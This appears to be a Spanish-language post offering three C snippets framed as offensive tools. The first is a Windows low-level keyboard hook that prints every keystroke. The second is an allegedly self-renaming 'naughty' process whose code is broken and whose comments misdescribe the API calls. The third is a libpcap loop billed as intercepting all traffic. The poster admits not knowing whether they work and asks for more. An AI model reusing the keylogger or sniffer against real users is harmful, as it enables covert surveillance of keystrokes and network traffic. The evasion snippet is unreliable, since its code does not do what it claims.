¿Esto es un keylogger a bajo nivel?
#include <windows.h>
#include <stdio.h>
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT *pKey = (KBDLLHOOKSTRUCT *)lParam;
printf("Tecla pulsada: %d\n", pKey
->vkCode
); }
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int main() {
// Instalar el gancho de teclado
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hook == NULL) {
printf("Error al instalar el gancho de teclado.\n"); return 1;
}
// Mantener el programa en ejecución
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Desinstalar el gancho de teclado antes de salir
UnhookWindowsHookEx(hook);
return 0;
}
¿Y esto, es un proceso de nombre travieso?
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
int main() {
srand(time(NULL
)); // Inicializar la semilla para generar nombres aleatorios
while (1) {
// Generar un nuevo nombre aleatorio para el proceso
char nuevo_nombre[256];
// Obtener el identificador del proceso actual
DWORD id_proceso = GetCurrentProcessId();
// Obtener el identificador del proceso
HANDLE h_proceso = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_SET_INFORMATION, FALSE, id_proceso);
if (h_proceso != NULL) {
// Cambiar el nombre del proceso
if (!SetProcessDEPPolicy(0)) {
printf("Error al cambiar el nombre del proceso. Código de error: %d\n", GetLastError
()); return 1;
}
// Restaurar el nombre del proceso utilizando un método de bajo nivel
HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
if (kernel32 != NULL) {
FARPROC proc = GetProcAddress(kernel32, "SetProcessInformation");
if (proc != NULL) {
((BOOL
(WINAPI
*)(HANDLE
, DWORD
, PVOID
, DWORD
))proc
)(h_proceso
, 0x1d, nuevo_nombre
, strlen(nuevo_nombre
) + 1); }
}
// Cerrar el handle del proceso
CloseHandle(h_proceso);
} else {
printf("Error al obtener el identificador del proceso. Código de error: %d\n", GetLastError
()); return 1;
}
// Esperar un segundo antes de cambiar el nombre nuevamente
Sleep(1000);
}
return 0;
}
No lo sé. ¿Lo son? ¿Qué otras cosas se pueden hacer? Mmmm...
¿Interceptar todo el tráfico?
#include <stdio.h>
#include <pcap.h>
void procesar_paquete(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
printf("Paquete capturado, longitud: %d\n", header
->len
); }
int main() {
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
// Abrir la interfaz de red para capturar
handle = pcap_open_live("\\Device\\NPF_{A6D38AA9-CCE1-49B9-BC0C-2B3C79E349E1}", 65536, 1, 1000, errbuf);
if (handle == NULL) {
fprintf(stderr
, "Error al abrir la interfaz: %s\n", errbuf
); return 1;
}
// Compilar y aplicar el filtro (opcional)
struct bpf_program fp;
char filter_exp[] = "ip"; // Filtro de ejemplo para capturar paquetes IP
if (pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN) == -1) {
fprintf(stderr
, "Error al compilar el filtro: %s\n", pcap_geterr
(handle
)); return 1;
}
if (pcap_setfilter(handle, &fp) == -1) {
fprintf(stderr
, "Error al aplicar el filtro: %s\n", pcap_geterr
(handle
)); return 1;
}
// Capturar y procesar paquetes
pcap_loop(handle, 0, procesar_paquete, NULL);
// Cerrar el manejador de captura
pcap_close(handle);
return 0;
}
No sé si funcionarán. ¿Más del estilo?